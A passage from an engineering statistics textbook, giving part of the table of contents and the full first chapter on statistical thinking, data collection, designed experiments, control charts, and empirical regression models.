12-6.3 Selection of Variables and Model Building 494
12-6.4 Multicollinearity 502

CHAPTER 13 Design and Analysis of Single-Factor Experiments: The Analysis of Variance 513

13-1 Designing Engineering Experiments 514
13-2 Completely Randomized Single-Factor Experiment 515
13-2.1 Example: Tensile Strength 515
13-2.2 Analysis of Variance 517
13-2.3 Multiple Comparisons Following the ANOVA 524
13-2.4 Residual Analysis and Model Checking 526
13-2.5 Determining Sample Size 527
13-3 The Random-Effects Model 533
13-3.1 Fixed Versus Random Factors 533
13-3.2 ANOVA and Variance Components 534
13-4 Randomized Complete Block Design 538
13-4.1 Design and Statistical Analysis 538
13-4.2 Multiple Comparisons 542
13-4.3 Residual Analysis and Model Checking 544

CHAPTER 14 Design of Experiments with Several Factors 551

14-1 Introduction 552
14-2 Factorial Experiments 555
14-3 Two-Factor Factorial Experiments 558
14-3.1 Statistical Analysis of the Fixed-Effects Model 559
14-3.2 Model Adequacy Checking 564
14-3.3 One Observation per Cell 566
14-4 General Factorial Experiments 568
14-5 2^k Factorial Designs 571
14-5.1 2^2 Design 571
14-5.2 2^k Design for $k \geq 3$ Factors 577
14-5.3 Single Replicate of the 2^k Design 584
14-5.4 Addition of Center Points to a 2^k Design 588
14-6 Blocking and Confounding in the 2^k Design 595
14-7 Fractional Replication of the 2^k Design 602
14-7.1 One-Half Fraction of the 2^k Design 602
14-7.2 Smaller Fractions: The 2^{k-p} Fractional Factorial 608
14-8 Response Surface Methods and Designs 619

CHAPTER 15 Statistical Quality Control 637

15-1 Quality Improvement and Statistics 638
15-1.1 Statistical Quality Control 639
15-1.2 Statistical Process Control 640
15-2 Introduction to Control Charts 640
15-2.1 Basic Principles 640
15-2.2 Design of a Control Chart 644
15-2.3 Rational Subgroups 646
15-2.4 Analysis of Patterns on Control Charts 647
15-3 $\overline{X}$ and R or S Control Charts 649
15-4 Control Charts for Individual Measurements 658
15-5 Process Capability 662
15-6 Attribute Control Charts 668
15-6.1 P Chart (Control Chart for Proportions) 668
15-6.2 U Chart (Control Chart for Defects per Unit) 670
15-7 Control Chart Performance 673
15-8 Time-Weighted Charts 676
15-8.1 Cumulative Sum Control Chart 676
15-8.2 Exponentially Weighted Moving Average Control Chart 682
15-9 Other SPC Problem-Solving Tools 688
15-10 Implementing SPC 690

APPENDICES 702

APPENDIX A: Statistical Tables and Charts 703

Table I Summary of Common Probability Distributions 704
Table II Cumulative Binomial Probability $P(X \leq x)$ 705
Table III Cumulative Standard Normal Distribution 708
Table IV Percentage Points $\chi^2_{\alpha,\nu}$ of the Chi-Squared Distribution 710
Table V Percentage Points $t_{\alpha,\nu}$ of the t distribution 711
Table VI Percentage Points f_{α,ν_1,ν_2} of the F distribution 712
Chart VII Operating Characteristic Curves 717
Table VIII Critical Values for the Sign Test 726
Table IX Critical Values for the Wilcoxon Signed-Rank Test 726
Table X Critical Values for the Wilcoxon Rank-Sum Test 727
Table XI Factors for Constructing Variables Control Charts 728
Table XII Factors for Tolerance Intervals 729

APPENDIX B: Answers to Selected Exercises 731

APPENDIX C: Bibliography 749

GLOSSARY 751

INDEX 762

INDEX OF APPLICATIONS IN EXAMPLES AND EXERCISES, CONTINUED 766

1

©Steve Shepard/iStockphoto

The Role of Statistics in Engineering

Statistics is a science that helps us make decisions and draw conclusions in the presence of variability. For example, civil engineers working in the transportation field are concerned about the capacity of regional highway systems. A typical problem would involve data on the number of nonwork, home-based trips, the number of persons per household, and the number of vehicles per household, and the objective would be to produce a trip-generation model relating trips to the number of persons per household and the number of vehicles per household. A statistical technique called regression analysis can be used to construct this model. The trip-generation model is an important tool for transportation systems planning. Regression methods are among the most widely used statistical techniques in engineering. They are presented in Chapters 11 and 12.

Hospital emergency departments (EDs) are an important part of the health-care delivery system. The process by which patients arrive at the ED is highly variable and can depend on the hour of the day and the day of the week, as well as on longer-term cyclical variations. The service process is also highly variable, depending on the types of services that the patients require, the number of patients in the ED, and how the ED is staffed and organized. The capacity of an ED is also limited, so consequently some patients experience long waiting times. How long do patients wait, on average? This is an important question for health-care providers. If waiting times become excessive, some patients will leave without receiving treatment (LWOT). Patients who LWOT are a serious problem, as they do not have their medical concerns addressed and are at risk for further problems and complications. Therefore, another important question is: What proportion of patients LWOT from the ED? These questions can be solved by employing probability models to describe the ED, and from these models very precise estimates of waiting times and the number of patients who LWOT can be obtained. Probability models that can be used to solve these types of problems are discussed in Chapters 2 through 5.

The concepts of probability and statistics are powerful ones and contribute extensively to the solutions of many types of engineering problems. You will encounter many examples of these applications in this book.

CHAPTER OUTLINE

1-1 THE ENGINEERING METHOD AND STATISTICAL THINKING
1-2 COLLECTING ENGINEERING DATA
1-2.1 Basic Principles
1-2.2 Retrospective Study
1-2.3 Observational Study
1-2.4 Designed Experiments
1-2.5 Observing Processes Over Time
1-3 MECHANISTIC AND EMPIRICAL MODELS
1-4 PROBABILITY AND PROBABILITY MODELS

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Identify the role that statistics can play in the engineering problem-solving process**
2. **Discuss how variability affects the data collected and used for making engineering decisions**
3. **Explain the difference between enumerative and analytical studies**
4. **Discuss the different methods that engineers use to collect data**
5. **Identify the advantages that designed experiments have in comparison to other methods of collecting engineering data**
6. **Explain the differences between mechanistic models and empirical models**
7. **Discuss how probability and probability models are used in engineering and science**

1-1 THE ENGINEERING METHOD AND STATISTICAL THINKING

An engineer is someone who solves problems of interest to society by the efficient application of scientific principles. Engineers accomplish this by either refining an existing product or process or by designing a new product or process that meets customers' needs. The **engineering,** or **scientific, method** is the approach to formulating and solving these problems. The steps in the engineering method are as follows:

1. Develop a clear and concise description of the problem.
2. Identify, at least tentatively, the important factors that affect this problem or that may play a role in its solution.
3. Propose a model for the problem, using scientific or engineering knowledge of the phenomenon being studied. State any limitations or assumptions of the model.
4. Conduct appropriate experiments and collect data to test or validate the tentative model or conclusions made in steps 2 and 3.
5. Refine the model on the basis of the observed data.

Figure 1-1 The engineering method.

6. Manipulate the model to assist in developing a solution to the problem.
7. Conduct an appropriate experiment to confirm that the proposed solution to the problem is both effective and efficient.
8. Draw conclusions or make recommendations based on the problem solution.

The steps in the engineering method are shown in Fig. 1-1. Many of the engineering sciences are employed in the engineering method: the mechanical sciences (statics, dynamics), fluid science, thermal science, electrical science, and the science of materials. Notice that the engineering method features a strong interplay between the problem, the factors that may influence its solution, a model of the phenomenon, and experimentation to verify the adequacy of the model and the proposed solution to the problem. Steps 2–4 in Fig. 1-1 are enclosed in a box, indicating that several cycles or iterations of these steps may be required to obtain the final solution. Consequently, engineers must know how to efficiently plan experiments, collect data, analyze and interpret the data, and understand how the observed data are related to the model they have proposed for the problem under study.

The field of **statistics** deals with the collection, presentation, analysis, and use of data to make decisions, solve problems, and design products and processes. In simple terms, **statistics is the science of data.** Because many aspects of engineering practice involve working with data, obviously knowledge of statistics is just as important to an engineer as the other engineering sciences. Specifically, statistical techniques can be a powerful aid in designing new products and systems, improving existing designs, and designing, developing, and improving production processes.

Statistical methods are used to help us describe and understand **variability.** By variability, we mean that successive observations of a system or phenomenon do not produce exactly the same result. We all encounter variability in our everyday lives, and **statistical thinking** can give us a useful way to incorporate this variability into our decision-making processes. For example, consider the gasoline mileage performance of your car. Do you always get exactly the same mileage performance on every tank of fuel? Of course not—in fact, sometimes the mileage performance varies considerably. This observed variability in gasoline mileage depends on many factors, such as the type of driving that has occurred most recently (city versus highway), the changes in condition of the vehicle over time (which could include factors such as tire inflation, engine compression, or valve wear), the brand and/or octane number of the gasoline used, or possibly even the weather conditions that have been recently experienced. These factors represent potential **sources of variability** in the system. Statistics provides a framework for describing this variability and for learning about which potential sources of variability are the most important or which have the greatest impact on the gasoline mileage performance.

We also encounter variability in dealing with engineering problems. For example, suppose that an engineer is designing a nylon connector to be used in an automotive engine application. The engineer is considering establishing the design specification on wall thickness

at 3/32 inch but is somewhat uncertain about the effect of this decision on the connector pull-off force. If the pull-off force is too low, the connector may fail when it is installed in an engine. Eight prototype units are produced and their pull-off forces measured, resulting in the following data (in pounds): 12.6, 12.9, 13.4, 12.3, 13.6, 13.5, 12.6, 13.1. As we anticipated, not all of the prototypes have the same pull-off force. We say that there is variability in the pull-off force measurements. Because the pull-off force measurements exhibit variability, we consider the pull-off force to be a **random variable.** A convenient way to think of a random variable, say X, that represents a measurement is by using the model

$$X = \mu + \epsilon \tag{1-1}$$

where μ is a constant and ϵ is a random disturbance. The constant remains the same with every measurement, but small changes in the environment, variance in test equipment, differences in the individual parts themselves, and so forth change the value of ϵ. If there were no disturbances, ϵ would always equal zero and X would always be equal to the constant μ. However, this never happens in the real world, so the actual measurements X exhibit variability. We often need to describe, quantify, and ultimately reduce variability.

Figure 1-2 presents a **dot diagram** of these data. The dot diagram is a very useful plot for displaying a small body of data—say, up to about 20 observations. This plot allows us to see easily two features of the data: the **location,** or the middle, and the **scatter** or **variability.** When the number of observations is small, it is usually difficult to identify any specific patterns in the variability, although the dot diagram is a convenient way to see any unusual data features.

The need for statistical thinking arises often in the solution of engineering problems. Consider the engineer designing the connector. From testing the prototypes, he knows that the average pull-off force is 13.0 pounds. However, he thinks that this may be too low for the intended application, so he decides to consider an alternative design with a greater wall thickness, 1/8 inch. Eight prototypes of this design are built, and the observed pull-off force measurements are 12.9, 13.7, 12.8, 13.9, 14.2, 13.2, 13.5, and 13.1. The average is 13.4. Results for both samples are plotted as dot diagrams in Fig. 1-3. This display gives the impression that increasing the wall thickness has led to an increase in pull-off force. However, there are some obvious questions to ask. For instance, how do we know that another sample of prototypes will not give different results? Is a sample of eight prototypes adequate to give reliable results? If we use the test results obtained so far to conclude that increasing the wall thickness increases the strength, what risks are associated with this decision? For example, is it possible that the apparent increase in pull-off force observed in the thicker prototypes is only due to the inherent variability in the system and that increasing the thickness of the part (and its cost) really has no effect on the pull-off force?

Often, physical laws (such as Ohm's law and the ideal gas law) are applied to help design products and processes. We are familiar with this reasoning from general laws to specific cases. But it is also important to reason from a specific set of measurements to more general cases to answer the previous questions. This reasoning is from a **sample** (such as the eight connectors) to a **population** (such as the connectors that will be sold to customers). The reasoning is referred to as **statistical inference.** See Fig. 1-4. Historically, measurements were

Figure 1-2 Dot diagram of the pull-off force data when wall thickness is 3/32 inch.

Figure 1-3 Dot diagram of pull-off force for two wall thicknesses.

Figure 1-4 Statistical inference is one type of reasoning.

obtained from a sample of people and generalized to a population, and the terminology has remained. Clearly, reasoning based on measurements from some objects to measurements on all objects can result in errors (called sampling errors). However, if the sample is selected properly, these risks can be quantified and an appropriate sample size can be determined.

1-2 COLLECTING ENGINEERING DATA

1-2.1 Basic Principles

In the previous section, we illustrated some simple methods for summarizing data. Sometimes the data are all of the observations in the populations. This results in a **census.** However, in the engineering environment, the data are almost always a **sample** that has been selected from the population. Three basic methods of collecting data are

- A **retrospective** study using historical data
- An **observational** study
- A **designed experiment**

An effective data-collection procedure can greatly simplify the analysis and lead to improved understanding of the population or process that is being studied. We now consider some examples of these data-collection methods.

1-2.2 Retrospective Study

Montgomery, Peck, and Vining (2006) describe an acetone-butyl alcohol distillation column for which concentration of acetone in the distillate or output product stream is an important variable. Factors that may affect the distillate are the reboil temperature, the condensate temperature, and the reflux rate. Production personnel obtain and archive the following records:

- The concentration of acetone in an hourly test sample of output product
- The reboil temperature log, which is a plot of the reboil temperature over time
- The condenser temperature controller log
- The nominal reflux rate each hour

The reflux rate should be held constant for this process. Consequently, production personnel change this very infrequently.

A retrospective study would use either all or a sample of the historical process data archived over some period of time. The study objective might be to discover the relationships

among the two temperatures and the reflux rate on the acetone concentration in the output product stream. However, this type of study presents some problems:

1. We may not be able to see the relationship between the reflux rate and acetone concentration, because the reflux rate didn't change much over the historical period.
2. The archived data on the two temperatures (which are recorded almost continuously) do not correspond perfectly to the acetone concentration measurements (which are made hourly). It may not be obvious how to construct an approximate correspondence.
3. Production maintains the two temperatures as closely as possible to desired targets or set points. Because the temperatures change so little, it may be difficult to assess their real impact on acetone concentration.
4. In the narrow ranges within which they do vary, the condensate temperature tends to increase with the reboil temperature. Consequently, the effects of these two process variables on acetone concentration may be difficult to separate.

As you can see, a retrospective study may involve a lot of **data,** but those data may contain relatively little useful **information** about the problem. Furthermore, some of the relevant data may be missing, there may be transcription or recording errors resulting in **outliers** (or unusual values), or data on other important factors may not have been collected and archived. In the distillation column, for example, the specific concentrations of butyl alcohol and acetone in the input feed stream are a very important factor, but they are not archived because the concentrations are too hard to obtain on a routine basis. As a result of these types of issues, statistical analysis of historical data sometimes identifies interesting phenomena, but solid and reliable explanations of these phenomena are often difficult to obtain.

1-2.3 Observational Study

In an observational study, the engineer observes the process or population, disturbing it as little as possible, and records the quantities of interest. Because these studies are usually conducted for a relatively short time period, sometimes variables that are not routinely measured can be included. In the distillation column, the engineer would design a form to record the two temperatures and the reflux rate when acetone concentration measurements are made. It may even be possible to measure the input feed stream concentrations so that the impact of this factor could be studied. Generally, an observational study tends to solve problems 1 and 2 above and goes a long way toward obtaining accurate and reliable data. However, observational studies may not help resolve problems 3 and 4.

1-2.4 Designed Experiments

In a designed experiment the engineer makes *deliberate* or *purposeful changes* in the controllable variables of the system or process, observes the resulting system output data, and then makes an inference or decision about which variables are responsible for the observed changes in output performance. The nylon connector example in Section 1-1 illustrates a designed experiment; that is, a deliberate change was made in the wall thickness of the connector with the objective of discovering whether or not a greater pull-off force could be obtained. Experiments designed with basic principles such as **randomization** are needed to establish **cause-and-effect** relationships.

Much of what we know in the engineering and physical-chemical sciences is developed through testing or experimentation. Often engineers work in problem areas in which no

scientific or engineering theory is directly or completely applicable, so experimentation and observation of the resulting data constitute the only way that the problem can be solved. Even when there is a good underlying scientific theory that we may rely on to explain the phenomena of interest, it is almost always necessary to conduct tests or experiments to confirm that the theory is indeed operative in the situation or environment in which it is being applied. Statistical thinking and statistical methods play an important role in planning, conducting, and analyzing the data from engineering experiments. Designed experiments play a very important role in engineering design and development and in the improvement of manufacturing processes.

For example, consider the problem involving the choice of wall thickness for the nylon connector. This is a simple illustration of a designed experiment. The engineer chose two wall thicknesses for the connector and performed a series of tests to obtain pull-off force measurements at each wall thickness. In this simple **comparative experiment,** the engineer is interested in determining if there is any difference between the 3/32- and 1/8-inch designs. An approach that could be used in analyzing the data from this experiment is to compare the mean pull-off force for the 3/32-inch design to the mean pull-off force for the 1/8-inch design using statistical **hypothesis testing,** which is discussed in detail in Chapters 9 and 10. Generally, a **hypothesis** is a statement about some aspect of the system in which we are interested. For example, the engineer might want to know if the mean pull-off force of a 3/32-inch design exceeds the typical maximum load expected to be encountered in this application, say, 12.75 pounds. Thus, we would be interested in testing the hypothesis that the mean strength exceeds 12.75 pounds. This is called a **single-sample hypothesis-testing problem.** Chapter 9 presents techniques for this type of problem. Alternatively, the engineer might be interested in testing the hypothesis that increasing the wall thickness from 3/32 to 1/8 inch results in an increase in mean pull-off force. It is an example of a **two-sample hypothesis-testing problem.** Two-sample hypothesis-testing problems are discussed in Chapter 10.

Designed experiments are a very powerful approach to studying complex systems, such as the distillation column. This process has three factors—the two temperatures and the reflux rate—and we want to investigate the effect of these three factors on output acetone concentration. A good experimental design for this problem must ensure that we can separate the effects of all three factors on the acetone concentration. The specified values of the three factors used in the experiment are called **factor levels.** Typically, we use a small number of levels for each factor, such as two or three. For the distillation column problem, suppose we use two levels, "high" and "low" (denoted +1 and −1, respectively), for each of the three factors. A very reasonable experiment design strategy uses every possible combination of the factor levels to form a basic experiment with eight different settings for the process. This type of experiment is called a **factorial experiment.** Table 1-1 presents this experimental design.

Table 1-1 The Designed Experiment (Factorial Design) for the Distillation Column

Reboil Temp.	Condensate Temp.	Reflux Rate
−1	−1	−1
+1	−1	−1
−1	+1	−1
+1	+1	−1
−1	−1	+1
+1	−1	+1
−1	+1	+1
+1	+1	+1

Figure 1-5 The factorial design for the distillation column.

Figure 1-5 illustrates that this design forms a cube in terms of these high and low levels. With each setting of the process conditions, we allow the column to reach equilibrium, take a sample of the product stream, and determine the acetone concentration. We then can draw specific inferences about the effect of these factors. Such an approach allows us to proactively study a population or process.

An important advantage of factorial experiments is that they allow one to detect an **interaction** between factors. Consider only the two temperature factors in the distillation experiment. Suppose that the response concentration is poor when the reboil temperature is *low*, regardless of the condensate temperature. That is, the condensate temperature has no effect when the reboil temperature is *low*. However, when the reboil temperature is *high*, a *high* condensate temperature generates a good response, while a *low* condensate temperature generates a poor response. That is, the condensate temperature changes the response when the reboil temperature is *high*. The effect of condensate temperature depends on the setting of the reboil temperature, and these two factors would interact in this case. If the four combinations of *high* and *low* reboil and condensate temperatures were not tested, such an interaction would not be detected.

We can easily extend the factorial strategy to more factors. Suppose that the engineer wants to consider a fourth factor, type of distillation column. There are two types: the standard one and a newer design. Figure 1-6 illustrates how all four factors—reboil temperature, condensate temperature, reflux rate, and column design—could be investigated in a factorial design. Since all four factors are still at two levels, the experimental design can still be represented geometrically as a cube (actually, it's a *hypercube*). Notice that as in any factorial design, all possible combinations of the four factors are tested. The experiment requires 16 trials.

Generally, if there are k factors and they each have two levels, a factorial experimental design will require 2^k runs. For example, with $k = 4$, the 2^4 design in Fig. 1-6 requires 16 tests. Clearly, as the number of factors increases, the number of trials required in a factorial experiment increases rapidly; for instance, eight factors each at two levels would require 256 trials. This quickly becomes unfeasible from the viewpoint of time and other resources. Fortunately, when there are four to five or more factors, it is usually unnecessary to test all possible combinations of factor levels. A **fractional factorial experiment** is a variation of the basic

Figure 1-6 A four-factorial experiment for the distillation column.

Figure 1-7 A fractional factorial experiment for the connector wall thickness problem.

factorial arrangement in which only a subset of the factor combinations are actually tested. Figure 1-7 shows a fractional factorial experimental design for the four-factor version of the distillation experiment. The circled test combinations in this figure are the only test combinations that need to be run. This experimental design requires only 8 runs instead of the original 16; consequently it would be called a **one-half fraction.** This is an excellent experimental design in which to study all four factors. It will provide good information about the individual effects of the four factors and some information about how these factors interact.

Factorial and fractional factorial experiments are used extensively by engineers and scientists in industrial research and development, where new technology, products, and processes are designed and developed and where existing products and processes are improved. Since so much engineering work involves testing and experimentation, it is essential that all engineers understand the basic principles of planning efficient and effective experiments. We discuss these principles in Chapter 13. Chapter 14 concentrates on the factorial and fractional factorials that we have introduced here.

1-2.5 Observing Processes Over Time

Often data are collected over time. In this case, it is usually very helpful to plot the data versus time in a **time series plot.** Phenomena that might affect the system or process often become more visible in a time-oriented plot and the concept of stability can be better judged.

Figure 1-8 is a dot diagram of acetone concentration readings taken hourly from the distillation column described in Section 1-2.2. The large variation displayed on the dot diagram indicates a lot of variability in the concentration, but the chart does not help explain the reason for the variation. The time series plot is shown in Figure 1-9. A shift in the process mean level is visible in the plot and an estimate of the time of the shift can be obtained.

W. Edwards **Deming,** a very influential industrial statistician, stressed that it is important to understand the nature of variability in processes and systems over time. He conducted an experiment in which he attempted to drop marbles as close as possible to a target on a table. He used a funnel mounted on a ring stand and the marbles were dropped into the funnel. See Fig. 1-10. The funnel was aligned as closely as possible with the center of the target. He then used two different strategies to operate the process. (1) He never moved the funnel. He just

Figure 1-8 The dot diagram illustrates variation but does not identify the problem.

Figure 1-9 A time series plot of concentration provides more information than the dot diagram.

Figure 1-10 Deming's funnel experiment.

dropped one marble after another and recorded the distance from the target. (2) He dropped the first marble and recorded its location relative to the target. He then moved the funnel an equal and opposite distance in an attempt to compensate for the error. He continued to make this type of adjustment after each marble was dropped.

After both strategies were completed, he noticed that the variability of the distance from the target for strategy 2 was approximately 2 times larger than for strategy 1. The adjustments to the funnel increased the deviations from the target. The explanation is that the error (the deviation of the marble's position from the target) for one marble provides no information about the error that will occur for the next marble. Consequently, adjustments to the funnel do not decrease future errors. Instead, they tend to move the funnel farther from the target.

This interesting experiment points out that adjustments to a process based on random disturbances can actually *increase* the variation of the process. This is referred to as **overcontrol** or **tampering.** Adjustments should be applied only to compensate for a nonrandom shift in the process—then they can help. A computer simulation can be used to demonstrate the lessons of the funnel experiment. Figure 1-11 displays a time plot of 100 measurements (denoted as y) from a process in which only random disturbances are present. The target value for the process

Figure 1-11 Adjustments applied to random disturbances overcontrol the process and increase the deviations from the target.

Figure 1-12 Process mean shift is detected at observation number 57, and one adjustment (a decrease of two units) reduces the deviations from target.

is 10 units. The figure displays the data with and without adjustments that are applied to the process mean in an attempt to produce data closer to target. Each adjustment is equal and opposite to the deviation of the previous measurement from target. For example, when the measurement is 11 (one unit above target), the mean is reduced by one unit before the next measurement is generated. The overcontrol has increased the deviations from the target.

Figure 1-12 displays the data without adjustment from Fig. 1-11, except that the measurements after observation number 50 are increased by two units to simulate the effect of a shift in the mean of the process. When there is a true shift in the mean of a process, an adjustment can be useful. Figure 1-12 also displays the data obtained when one adjustment (a decrease of two units) is applied to the mean after the shift is detected (at observation number 57). Note that this adjustment decreases the deviations from target.

The question of when to apply adjustments (and by what amounts) begins with an understanding of the types of variation that affect a process. A **control chart** is an invaluable way to examine the variability in time-oriented data. Figure 1-13 presents a control chart for the concentration data from Fig. 1-9. The **center line** on the control chart is just the average of the concentration measurements for the first 20 samples ($\bar{x}$ = 91.5 g/l) when the process is stable. The **upper control limit** and the **lower control limit** are a pair of statistically derived

Figure 1-13 A control chart for the chemical process concentration data.

Figure 1-14 Enumerative versus analytic study.

limits that reflect the inherent or natural variability in the process. These limits are located three standard deviations of the concentration values above and below the center line. If the process is operating as it should, without any external sources of variability present in the system, the concentration measurements should fluctuate randomly around the center line, and almost all of them should fall between the control limits.

In the control chart of Fig. 1-13, the visual frame of reference provided by the center line and the control limits indicates that some upset or disturbance has affected the process around sample 20 because all of the following observations are below the center line, and two of them actually fall below the lower control limit. This is a very strong signal that corrective action is required in this process. If we can find and eliminate the underlying cause of this upset, we can improve process performance considerably.

Furthermore, Deming pointed out that data from a process are used for different types of conclusions. Sometimes we collect data from a process to evaluate current production. For example, we might sample and measure resistivity on three semiconductor wafers selected from a lot and use this information to evaluate the lot. This is called an **enumerative** study. However, in many cases we use data from current production to evaluate future production. We apply conclusions to a conceptual, future population. Deming called this an **analytic** study. Clearly this requires an assumption of a **stable** process, and Deming emphasized that control charts were needed to justify this assumption. See Fig. 1-14 as an illustration.

Control charts are a very important application of statistics for monitoring, controlling, and improving a process. The branch of statistics that makes use of control charts is called **statistical process control,** or **SPC.** We will discuss SPC and control charts in Chapter 15.

1-3 MECHANISTIC AND EMPIRICAL MODELS

Models play an important role in the analysis of nearly all engineering problems. Much of the formal education of engineers involves learning about the models relevant to specific fields and the techniques for applying these models in problem formulation and solution. As a simple example, suppose we are measuring the flow of current in a thin copper wire. Our model for this phenomenon might be Ohm's law:

$$\text{Current} = \text{voltage/resistance}$$

or

$$I = E/R \tag{1-2}$$

We call this type of model a **mechanistic model** because it is built from our underlying knowledge of the basic physical mechanism that relates these variables. However, if we performed this measurement process more than once, perhaps at different times, or even on different days, the observed current could differ slightly because of small changes or variations in factors that are not completely controlled, such as changes in ambient temperature, fluctuations in performance of the gauge, small impurities present at different locations in the wire, and drifts in the voltage source. Consequently, a more realistic model of the observed current might be

$$I = E/R + \epsilon \tag{1-3}$$

where ϵ is a term added to the model to account for the fact that the observed values of current flow do not perfectly conform to the mechanistic model. We can think of ϵ as a term that includes the effects of all of the unmodeled sources of variability that affect this system.

Sometimes engineers work with problems for which there is no simple or well-understood mechanistic model that explains the phenomenon. For instance, suppose we are interested in the number average molecular weight (M_n) of a polymer. Now we know that M_n is related to the viscosity of the material (V), and it also depends on the amount of catalyst (C) and the temperature (T) in the polymerization reactor when the material is manufactured. The relationship between M_n and these variables is

$$M_n = f(V, C, T) \tag{1-4}$$

say, where the *form* of the function f is unknown. Perhaps a working model could be developed from a first-order Taylor series expansion, which would produce a model of the form

$$M_n = \beta_0 + \beta_1 V + \beta_2 C + \beta_3 T \tag{1-5}$$

where the β's are unknown parameters. Now just as in Ohm's law, this model will not exactly describe the phenomenon, so we should account for the other sources of variability that may affect the molecular weight by adding another term to the model; therefore,

$$M_n = \beta_0 + \beta_1 V + \beta_2 C + \beta_3 T + \epsilon \tag{1-6}$$

is the model that we will use to relate molecular weight to the other three variables. This type of model is called an **empirical model;** that is, it uses our engineering and scientific knowledge of the phenomenon, but it is not directly developed from our theoretical or first-principles understanding of the underlying mechanism.

To illustrate these ideas with a specific example, consider the data in Table 1-2. This table contains data on three variables that were collected in an observational study in a semiconductor manufacturing plant. In this plant, the finished semiconductor is wire-bonded to a frame. The variables reported are pull strength (a measure of the amount of force required to break the bond), the wire length, and the height of the die. We would like to find a model relating pull strength to wire length and die height. Unfortunately, there is no physical mechanism that we can easily apply here, so it doesn't seem likely that a mechanistic modeling approach will be successful.

Figure 1-15 presents a three-dimensional plot of all 25 observations on pull strength, wire length, and die height. From examination of this plot, we see that pull strength increases as

Table 1-2 Wire Bond Pull Strength Data

Observation Number	Pull Strength y	Wire Length x_1	Die Height x_2
1	9.95	2	50
2	24.45	8	110
3	31.75	11	120
4	35.00	10	550
5	25.02	8	295
6	16.86	4	200
7	14.38	2	375
8	9.60	2	52
9	24.35	9	100
10	27.50	8	300
11	17.08	4	412
12	37.00	11	400
13	41.95	12	500
14	11.66	2	360
15	21.65	4	205
16	17.89	4	400
17	69.00	20	600
18	10.30	1	585
19	34.93	10	540
20	46.59	15	250
21	44.88	15	290
22	54.12	16	510
23	56.63	17	590
24	22.13	6	100
25	21.15	5	400

both wire length and die height increase. Furthermore, it seems reasonable to think that a model such as

$$\text{Pull strength} = \beta_0 + \beta_1(\text{wire length}) + \beta_2(\text{die height}) + \epsilon$$

would be appropriate as an empirical model for this relationship. In general, this type of empirical model is called a **regression model.** In Chapters 11 and 12 we show how to build these models and test their adequacy as approximating functions. We will use a method for

Figure 1-15 Three-dimensional plot of the wire bond pull strength data.

Figure 1-16 Plot of predicted values of pull strength from the empirical model.

estimating the parameters in regression models, called the method of **least squares,** that traces its origins to work by Karl Gauss. Essentially, this method chooses the parameters in the empirical model (the β's) to minimize the sum of the squared distances between each data point and the plane represented by the model equation. Applying this technique to the data in Table 1-2 results in

$$\widehat{\text{Pull strength}} = 2.26 + 2.74(\text{wire length}) + 0.0125(\text{die height}) \tag{1-7}$$

where the "hat," or circumflex, over pull strength indicates that this is an estimated or predicted quantity.

Figure 1-16 is a plot of the predicted values of pull strength versus wire length and die height obtained from Equation 1-7. Notice that the predicted values lie on a plane above the wire length–die height space. From the plot of the data in Fig. 1-15, this model does not appear unreasonable. The empirical model in Equation 1-7 could be used to predict values of pull strength for various combinations of wire length and die height that are of interest. Essentially, the empirical model could be used by an engineer in exactly the same way that a mechanistic model can be used.

1-4 PROBABILITY AND PROBABILITY MODELS

In Section 1-1, it was mentioned that decisions often need to be based on measurements from only a subset of objects selected in a sample. This process of reasoning from a sample of objects to conclusions for a population of objects was referred to as statistical inference. A sample of three wafers selected from a larger production lot of wafers in semiconductor manufacturing was an example mentioned. To make good decisions, an analysis of how well a sample represents a population is clearly necessary. If the lot contains defective wafers, how well will the sample detect this? How can we quantify the criterion to "detect well"? Basically, how can we quantify the risks of decisions based on samples? Furthermore, how should samples be selected to provide good decisions—ones with acceptable risks? **Probability** models help quantify the risks involved in statistical inference, that is, the risks involved in decisions made every day.

More details are useful to describe the role of probability models. Suppose a production lot contains 25 wafers. If all the wafers are defective or all are good, clearly any sample will generate all defective or all good wafers, respectively. However, suppose only one wafer in the lot is defective. Then a sample might or might not detect (include) the wafer. A probability model, along with a method to select the sample, can be used to quantify the risks that the defective wafer is or is not detected. Based on this analysis, the size of the sample might be increased (or decreased). The risk here can be interpreted as follows. Suppose a series of lots,

each with exactly one defective wafer, are sampled. The details of the method used to select the sample are postponed until randomness is discussed in the next chapter. Nevertheless, assume that the same size sample (such as three wafers) is selected in the same manner from each lot. The proportion of the lots in which the defective wafer is included in the sample or, more specifically, the limit of this proportion as the number of lots in the series tends to infinity, is interpreted as the probability that the defective wafer is detected.

A probability model is used to calculate this proportion under reasonable assumptions for the manner in which the sample is selected. This is fortunate because we do not want to attempt to sample from an infinite series of lots. Problems of this type are worked in Chapters 2 and 3. More importantly, this probability provides valuable, quantitative information regarding any decision about lot quality based on the sample.

Recall from Section 1-1 that a population might be conceptual, as in an analytic study that applies statistical inference to future production based on the data from current production. When populations are extended in this manner, the role of statistical inference and the associated probability models becomes even more important.

In the previous example, each wafer in the sample was only classified as defective or not. Instead, a continuous measurement might be obtained from each wafer. In Section 1-2.5, concentration measurements were taken at periodic intervals from a production process. Figure 1-8 shows that variability is present in the measurements, and there might be concern that the process has moved from the target setting for concentration. Similar to the defective wafer, one might want to quantify our ability to detect a process change based on the sample data. Control limits were mentioned in Section 1-2.5 as decision rules for whether or not to adjust a process. The probability that a particular process change is detected can be calculated with a probability model for concentration measurements. Models for continuous measurements are developed based on plausible assumptions for the data and a result known as the central limit theorem, and the associated normal distribution is a particularly valuable probability model for statistical inference. Of course, a check of assumptions is important. These types of probability models are discussed in Chapter 4. The objective is still to quantify the risks inherent in the inference made from the sample data.

Throughout Chapters 6 through 15, decisions are based on statistical inference from sample data. Continuous probability models, specifically the normal distribution, are used extensively to quantify the risks in these decisions and to evaluate ways to collect the data and how large a sample should be selected.

IMPORTANT TERMS AND CONCEPTS

Analytic study
Cause and effect
Designed experiment
Empirical model
Engineering method
Enumerative study
Factorial experiment
Fractional factorial experiment
Hypothesis testing
Interaction
Mechanistic model
Observational study
Overcontrol
Population
Probability model
Problem-solving method
Randomization
Retrospective study
Sample
Statistical inference
Statistical process control
Statistical thinking
Tampering
Time series
Variability

2

Erik Isakson/Getty Images, Inc.

Probability

